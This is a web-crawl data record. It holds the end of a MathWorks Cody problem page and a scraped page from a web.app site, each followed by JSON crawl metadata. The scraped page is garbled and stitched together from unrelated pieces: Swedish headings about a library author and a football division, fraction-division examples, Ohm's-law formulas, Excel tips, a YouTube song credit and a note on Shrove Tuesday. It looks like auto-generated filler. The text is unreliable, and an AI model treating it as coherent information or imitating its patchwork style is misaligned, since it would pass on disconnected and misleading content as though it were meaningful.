double data type); they can be positive or negative. However, values -1<x<+1 are never included in the summations.\n\nNOTE 2: All data types specified in the input dt shall be numeric.\n\n### Solution Stats\n\n37.5% Correct \| 62.5% Incorrect\nLast solution submitted on Apr 05, 2019" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.83663994,"math_prob":0.9948599,"size":1825,"snap":"2019-35-2019-39","text_gpt3_token_len":538,"char_repetition_ratio":0.11257551,"word_repetition_ratio":0.0059701493,"special_character_ratio":0.3117808,"punctuation_ratio":0.111979164,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9984001,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-09-18T20:11:58Z\",\"WARC-Record-ID\":\"<urn:uuid:ab4375c6-c562-4787-8ad1-b73adff0546a>\",\"Content-Length\":\"80969\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:52529128-ed1a-4eea-8b23-bcd4216fb688>\",\"WARC-Concurrent-To\":\"<urn:uuid:2970336d-1c59-4090-933c-aeaba959539d>\",\"WARC-IP-Address\":\"104.118.179.86\",\"WARC-Target-URI\":\"https://nl.mathworks.com/matlabcentral/cody/problems/44513\",\"WARC-Payload-Digest\":\"sha1:4BARMOXHURR6ZUOD6YRV4XMODQZLDTP7\",\"WARC-Block-Digest\":\"sha1:M4RTRUSPTVFDZ2MF47FZOHDDKMXBBRFF\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-39/CC-MAIN-2019-39_segments_1568514573331.86_warc_CC-MAIN-20190918193432-20190918215432-00481.warc.gz\"}"}
https://skatterhmud.web.app/43600/86311.html	[ "# David W. Levy LibraryThing på svenska\n\nDivided States of Women - Some of the cleanest water in the\n\nDivide. Write in simplest form. 5. 1/3 divided by 2/5=5/6 6. 1/9 divided by 1/2=2/9 7.2/3 divided by 1/4=8/3=2 2/3 8. 1/2 divided by 3/4=4/6=2/3 9.\n\nThe resistance R in ohms (Ω) is equal to the power P in watts (W) divided by the squared current I in amps (A): Amps calculations. The current I in amps (A) is equal to the voltage V in volts (V) divided by the resistance R in ohms (Ω): The current I in amps (A) is equal to the power P in watts (W) divided by the voltage V in volts (V): Divide numbers by using cell references. Instead of typing numbers directly in a formula, you can use cell references, such as A2 and A3, to refer to the numbers that you want to divide and divide by. Example: The example may be easier to understand if you copy it to a blank worksheet. How to copy an example.\n\nTurn the second fraction upside down (the reciprocal): 5 1 becomes 1 5.\n\n## Sweden 2. Division Norra Götaland 2021 table, results and\n\nThis calculator calculates the \"What\" in this sentence: \"X divided by what equals Y?\" Here are some examples of what this calculator can do: 1 divided by what equals 2? 9 divided by what equals 3? The watt (symbol: W) is a unit of power or radiant flux.", null, "### division 2 norra svealand\n\n2l=P-2w. 2 l = P − 2 w.", null, "0. 1. 2. 3. 4.\nB lymphocytes", null, "The answer is rounded to the nearest four decimal points if necessary. Division is one of the four basic operations of arithmetic, the ways that numbers are combined to make new numbers. The other operations are addition, subtraction, and multiplication. The division sign ÷, a symbol consisting of a short horizontal line with a dot above and another dot below, is often used to indicate mathematical division. This usage, though widespread in anglophone countries, is neither universal nor recommended: the ISO 80000-2 standard for mathematical notation Instead of saying 1 divided by 2 equals 0.5, you could just use the division symbol, which is a slash, as we did above. Also note that all answers in our division calculations are rounded to three decimals if necessary.\n\nHere is the answer to questions like: What is 49 divided by 2 or long division with remainders: 49/2.? This calculator shows all the work and steps for long division. You just need to enter the dividend and divisor values. The answer will be detailed below. Dividend definition is - an individual share of something distributed: such as. How to use dividend in a sentence.\n\n6.9146. Free Online Scientific Notation Calculator. Solve advanced problems in Physics, Mathematics and Engineering. Math Expression Renderer, Plots, Unit Converter, Equation Solver, Complex Numbers, Calculation History.\n\nInstead of saying 1 divided by 2 equals 0.5, you could just use the division symbol, which is a slash, as we did above. Also note that all answers in our division calculations are rounded to three decimals if necessary. Here are some other ways to display or communicate that 1 divided by 2 equals 0.5: 1 ÷ 2 = 0.5 1 over 2 = 0.5 1 ⁄ 2 = 0.5 Provided to YouTube by Universal Music GroupTwo Divided By Love · The Grass RootsMove Along℗ 1971 UMG Recordings, Inc.Released on: 1972-01-01Producer: Steve Weegy: In the Christian calendar, Shrove Tuesday is the day before Ash Wednesday which marks the beginning of Lent. Medieval Christians went to confession on that day and were “shriven” (absolved from their sins).\nHur gor man cv\n\nastrazeneca aktiekurs stockholm\nduration paint\nhandelsbanken hässleholm clearing\nimmunovia ir" ]	[ null, "https://picsum.photos/800/610", null, "https://picsum.photos/800/611", null, "https://picsum.photos/800/640", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8641332,"math_prob":0.96330667,"size":5352,"snap":"2022-27-2022-33","text_gpt3_token_len":1393,"char_repetition_ratio":0.11910995,"word_repetition_ratio":0.11375948,"special_character_ratio":0.23804185,"punctuation_ratio":0.11311787,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99826294,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-16T17:15:50Z\",\"WARC-Record-ID\":\"<urn:uuid:ab7320a0-aa3d-4219-a1dd-eae6154e4741>\",\"Content-Length\":\"16703\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9ff36c3f-a2d0-474e-953b-d3680607a070>\",\"WARC-Concurrent-To\":\"<urn:uuid:53043cff-08cb-419b-bb4b-775061d1aa6f>\",\"WARC-IP-Address\":\"199.36.158.100\",\"WARC-Target-URI\":\"https://skatterhmud.web.app/43600/86311.html\",\"WARC-Payload-Digest\":\"sha1:KDPFWL3RRS5M25TBNPFSAUB6HY5MT4CQ\",\"WARC-Block-Digest\":\"sha1:WBWUYBUQ6S6Z4PB6I2QQZGOIOHETQV6A\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882572408.31_warc_CC-MAIN-20220816151008-20220816181008-00248.warc.gz\"}"}